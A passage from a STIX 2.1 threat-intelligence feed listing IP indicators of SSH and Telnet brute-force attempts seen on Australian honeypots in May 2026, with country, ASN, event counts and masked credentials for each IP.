      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: VE. ASN(s): 264628. Organisation(s): CORPORACION FIBEX TELECOM, C.A..",
      "id": "indicator--3d8c6a32-451f-4c9b-a67b-6dd3e5b91504",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T10:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '190.120.254.139']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T10:15:10.000Z",
      "valid_until": "2026-06-04T10:15:08.000Z"
    },
    {
      "created": "2026-05-03T10:15:10.000Z",
      "description": "Attacker IP - SSH & Telnet / Observed authentication attempts via ssh, telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie. Target ports: 22, 23. Source country: NL. ASN(s): 49870. Organisation(s): Alsycon B.V.. Usernames observed (masked): A**********, G*******************************1, U********************************1. Passwords observed (masked): A****************************e, C********************e, H**********************3.",
      "id": "indicator--cded6b0a-f596-47f4-bb89-8d1d9360182c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T10:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '194.50.16.198']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T10:15:10.000Z",
      "valid_until": "2026-06-04T10:15:08.000Z"
    },
    {
      "created": "2026-05-03T10:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CO. ASN(s): 274110. Organisation(s): RED-INALSOLUCIONES SAS.",
      "id": "indicator--ea1906b5-4e8f-46b4-bfc1-52983514c346",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T10:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '209.14.102.13']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T10:15:10.000Z",
      "valid_until": "2026-06-04T10:15:08.000Z"
    },
    {
      "created": "2026-05-03T10:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 72. Sensors involved: Cowrie. Target ports: 23. Source country: BE. ASN(s): 396982. Organisation(s): Google LLC. Usernames observed (masked): **, G************1, O*********************************0, U*************************************************************************************************************************6. Passwords observed (masked): **, A*******************p, C********6, H**********************3.",
      "id": "indicator--989bfc08-014a-4a02-973f-0d5b4b1eca53",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T10:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '34.22.141.217']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T10:15:10.000Z",
      "valid_until": "2026-06-04T10:15:08.000Z"
    },
    {
      "created": "2026-05-03T10:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 322. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: VN. ASN(s): 131423. Organisation(s): Branch of Long Van System Solution JSC - Hanoi. Usernames observed (masked): a***n, u****u, d******r, 3**********4, a***********r. Passwords observed (masked): 3***********4, 3**********4, 1******4, 1****6, 1******8.",
      "id": "indicator--0e4dcebf-4e8d-41ba-806b-a804d3efdc3e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T10:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '45.119.212.99']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T10:15:10.000Z",
      "valid_until": "2026-06-04T10:15:08.000Z"
    },
    {
      "created": "2026-05-03T10:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: IE. ASN(s): 5607. Organisation(s): Sky UK Limited.",
      "id": "indicator--0eb87ffb-612d-4ba0-b3a3-36cfd8a15b9c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T10:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '51.186.219.187']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T10:15:10.000Z",
      "valid_until": "2026-06-04T10:15:08.000Z"
    },
    {
      "created": "2026-05-03T10:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 6939. Organisation(s): Hurricane Electric LLC.",
      "id": "indicator--fcfc1e0d-0410-4991-9783-d3bab88da479",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T10:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '65.49.1.38']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T10:15:10.000Z",
      "valid_until": "2026-06-04T10:15:08.000Z"
    },
    {
      "created": "2026-05-03T10:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 23. Source country: SG. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): a***n. Passwords observed (masked): a***n.",
      "id": "indicator--14532344-ab3e-4afb-9a3b-94ff77bc3f4a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T10:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '68.183.234.194']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T10:15:10.000Z",
      "valid_until": "2026-06-04T10:15:08.000Z"
    },
    {
      "created": "2026-05-03T10:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: ES. ASN(s): 57269. Organisation(s): Digi Spain Telecom S.A.",
      "id": "indicator--765a2aee-8576-460e-938b-ee7b15b902fa",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T10:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '79.117.187.171']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T10:15:10.000Z",
      "valid_until": "2026-06-04T10:15:08.000Z"
    },
    {
      "created": "2026-05-03T11:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 40676. Organisation(s): Psychz Networks.",
      "id": "indicator--ad8ad997-fdc6-4c62-bcae-e70eae081493",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T11:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '108.181.56.69']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T11:15:10.000Z",
      "valid_until": "2026-06-04T11:15:08.000Z"
    },
    {
      "created": "2026-05-03T11:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 22. Sensors involved: Cowrie. Target ports: 23. Source country: AU. ASN(s): 38195. Organisation(s): Superloop.",
      "id": "indicator--1df7d9a7-6598-4ff8-856d-ab5a4e9d2574",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T11:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '115.186.228.24']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T11:15:10.000Z",
      "valid_until": "2026-06-04T11:15:08.000Z"
    },
    {
      "created": "2026-05-03T11:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--9d932587-659d-44d5-a21f-be72767dc262",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T11:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '115.48.136.94']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T11:15:10.000Z",
      "valid_until": "2026-06-04T11:15:08.000Z"
    },
    {
      "created": "2026-05-03T11:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 308. Sensors involved: Cowrie, Fatt. Target ports: 22, 80. Source country: VN. ASN(s): 24086. Organisation(s): Viettel Corporation. Usernames observed (masked): a***n, r**t, u**r, c***o, s*****t. Passwords observed (masked): 1**4, 1***5, 1****6, a***n, a******3.",
      "id": "indicator--e1a830a4-e0d9-44e9-94c4-173bd2763d24",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T11:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '116.110.16.100']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T11:15:10.000Z",
      "valid_until": "2026-06-04T11:15:08.000Z"
    },
    {
      "created": "2026-05-03T11:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 362. Sensors involved: Cowrie, Fatt. Target ports: 22, 80. Source country: VN. ASN(s): 24086. Organisation(s): Viettel Corporation. Usernames observed (masked): a***n, r**t, t**t, a****n, a***n. Passwords observed (masked): a***n, p******d, a****3, 0**************D, *.",
      "id": "indicator--d4c5c74e-7f41-45fa-9bca-abe1c99602fa",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T11:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '116.110.222.116']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T11:15:10.000Z",
      "valid_until": "2026-06-04T11:15:08.000Z"
    },
    {
      "created": "2026-05-03T11:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 134375. Organisation(s): Fusionnet Web Services Private Limited.",
      "id": "indicator--74601ef2-0ba9-42b9-85d8-f499967798cf",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T11:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '119.252.220.137']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T11:15:10.000Z",
      "valid_until": "2026-06-04T11:15:08.000Z"
    },
    {
      "created": "2026-05-03T11:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 24560. Organisation(s): Bharti Airtel Ltd., Telemedia Services.",
      "id": "indicator--75a9a1c0-2f17-4ed8-9d7b-86ba8b200503",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T11:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '122.168.80.30']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T11:15:10.000Z",
      "valid_until": "2026-06-04T11:15:08.000Z"
    },
    {
      "created": "2026-05-03T11:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 64. Sensors involved: Cowrie. Target ports: 23. Source country: SG. ASN(s): 20473. Organisation(s): The Constant Company, LLC.",
      "id": "indicator--182d188d-af53-4d47-8462-db54680777f3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T11:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '139.180.157.219']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T11:15:10.000Z",
      "valid_until": "2026-06-04T11:15:08.000Z"
    },
    {
      "created": "2026-05-03T11:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 66. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 40676. Organisation(s): Psychz Networks.",
      "id": "indicator--d9bdf9fb-3762-4e69-840e-e6d1ac21a200",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T11:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '185.126.181.48']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T11:15:10.000Z",
      "valid_until": "2026-06-04T11:15:08.000Z"
    },
    {
      "created": "2026-05-03T11:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 586. Sensors involved: Cowrie. Target ports: 23. Source country: FR. ASN(s): 16276. Organisation(s): OVH SAS.",
      "id": "indicator--1007409e-45b3-4236-88f0-813f93ceeee1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T11:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '188.165.32.102']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T11:15:10.000Z",
      "valid_until": "2026-06-04T11:15:08.000Z"
    },
    {
      "created": "2026-05-03T11:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 96. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 18450. Organisation(s): WebNX, Inc..",
      "id": "indicator--e7a68849-b40c-4343-9bc8-392375c1986b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T11:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '216.18.219.189']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T11:15:10.000Z",
      "valid_until": "2026-06-04T11:15:08.000Z"
    },
    {
      "created": "2026-05-03T11:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IQ. ASN(s): 51020. Organisation(s): Al-Jazeera Al-Arabiya Company for Communication and Internet LTD.",
      "id": "indicator--d0ff10c4-b683-4887-910a-60b83443eb68",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T11:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '37.77.53.22']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T11:15:10.000Z",
      "valid_until": "2026-06-04T11:15:08.000Z"
    },
    {
      "created": "2026-05-03T11:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: ZA. ASN(s): 12091. Organisation(s): MTNNS-1.",
      "id": "indicator--02c227cc-a1bd-4422-ae94-98e08b90598e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T11:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '41.123.41.92']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T11:15:10.000Z",
      "valid_until": "2026-06-04T11:15:08.000Z"
    },
    {
      "created": "2026-05-03T11:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TH. ASN(s): 17552. Organisation(s): True Online.",
      "id": "indicator--f2fbdfb3-fd1b-4005-aa69-e6ef7417f544",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T11:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '58.10.233.186']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T11:15:10.000Z",
      "valid_until": "2026-06-04T11:15:08.000Z"
    },
    {
      "created": "2026-05-03T12:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ZA. ASN(s): 328608. Organisation(s): Africa-on-Cloud-AS.",
      "id": "indicator--40e6b490-a892-456b-af9c-8797efea259f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T12:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '102.223.47.171']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T12:15:10.000Z",
      "valid_until": "2026-06-04T12:15:08.000Z"
    },
    {
      "created": "2026-05-03T12:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 22. Source country: CN. ASN(s): 4812. Organisation(s): China Telecom Group.",
      "id": "indicator--65b5fc56-f118-4921-8c55-54ba659ce193",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T12:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '116.234.76.167']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T12:15:10.000Z",
      "valid_until": "2026-06-04T12:15:08.000Z"
    },
    {
      "created": "2026-05-03T12:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 9829. Organisation(s): National Internet Backbone.",
      "id": "indicator--1bd253ca-ef04-404d-bb1f-ec8bc2fca7f4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T12:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '117.199.77.240']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T12:15:10.000Z",
      "valid_until": "2026-06-04T12:15:08.000Z"
    },
    {
      "created": "2026-05-03T12:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--25f51dab-cc07-4e4b-ad8d-7048223f8654",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T12:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '124.29.223.186']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T12:15:10.000Z",
      "valid_until": "2026-06-04T12:15:08.000Z"
    },
    {
      "created": "2026-05-03T12:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--2bae5e26-96fa-433d-b1ad-dfe3318f2f7d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T12:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '159.223.203.97']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T12:15:10.000Z",
      "valid_until": "2026-06-04T12:15:08.000Z"
    },
    {
      "created": "2026-05-03T12:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 39. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 51396. Organisation(s): Pfcloud UG (haftungsbeschrankt). Usernames observed (masked): b******n, **, ***, r**t, v*****r. Passwords observed (masked): 1****6, a***********i, b******n, v*****r.",
      "id": "indicator--2a523a6e-5d5d-4e6c-809d-90668bf3a932",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T12:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '176.65.132.156']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T12:15:10.000Z",
      "valid_until": "2026-06-04T12:15:08.000Z"
    },
    {
      "created": "2026-05-03T12:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14670. Organisation(s): WHG Hosting Services Ltd.",
      "id": "indicator--bdcdaa0b-cb68-4069-ae21-9574d603f1a7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T12:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '179.61.232.245']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T12:15:10.000Z",
      "valid_until": "2026-06-04T12:15:08.000Z"
    },
    {
      "created": "2026-05-03T12:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 7. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 215125. Organisation(s): Church of Cyberology. Usernames observed (masked): ***. Passwords observed (masked): .",
      "id": "indicator--e81cfc86-c791-465e-b5db-05d09ea3859a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T12:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '192.42.116.55']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T12:15:10.000Z",
      "valid_until": "2026-06-04T12:15:08.000Z"
    },
    {
      "created": "2026-05-03T12:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: UZ. ASN(s): 8193. Organisation(s): Uzbektelekom Joint Stock Company.",
      "id": "indicator--a196704d-e334-4d12-be28-591718b4a8f5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T12:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '198.163.192.132']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T12:15:10.000Z",
      "valid_until": "2026-06-04T12:15:08.000Z"
    },
    {
      "created": "2026-05-03T12:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 24560. Organisation(s): Bharti Airtel Ltd., Telemedia Services.",
      "id": "indicator--8544e78a-62f9-4aca-8893-940352965c78",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T12:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '223.185.59.185']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T12:15:10.000Z",
      "valid_until": "2026-06-04T12:15:08.000Z"
    },
    {
      "created": "2026-05-03T12:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TR. ASN(s): 9121. Organisation(s): Turk Telekom.",
      "id": "indicator--e2b71dba-b372-456a-a108-11565ccf4b7f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T12:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '78.177.162.11']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T12:15:10.000Z",
      "valid_until": "2026-06-04T12:15:08.000Z"
    },
    {
      "created": "2026-05-03T13:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 45. Sensors involved: Cowrie. Target ports: 23. Source country: AU. ASN(s): 133480. Organisation(s): 5G NETWORK OPERATIONS PTY LTD.",
      "id": "indicator--fa14e2b1-549a-4576-b8b6-d468db057a53",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T13:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.76.165.186']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T13:15:10.000Z",
      "valid_until": "2026-06-04T13:15:08.000Z"
    },
    {
      "created": "2026-05-03T13:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 32475. Organisation(s): Internap Holding LLC.",
      "id": "indicator--c9696feb-b182-4d69-9752-3e35deb9d360",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T13:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '107.6.164.240']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T13:15:10.000Z",
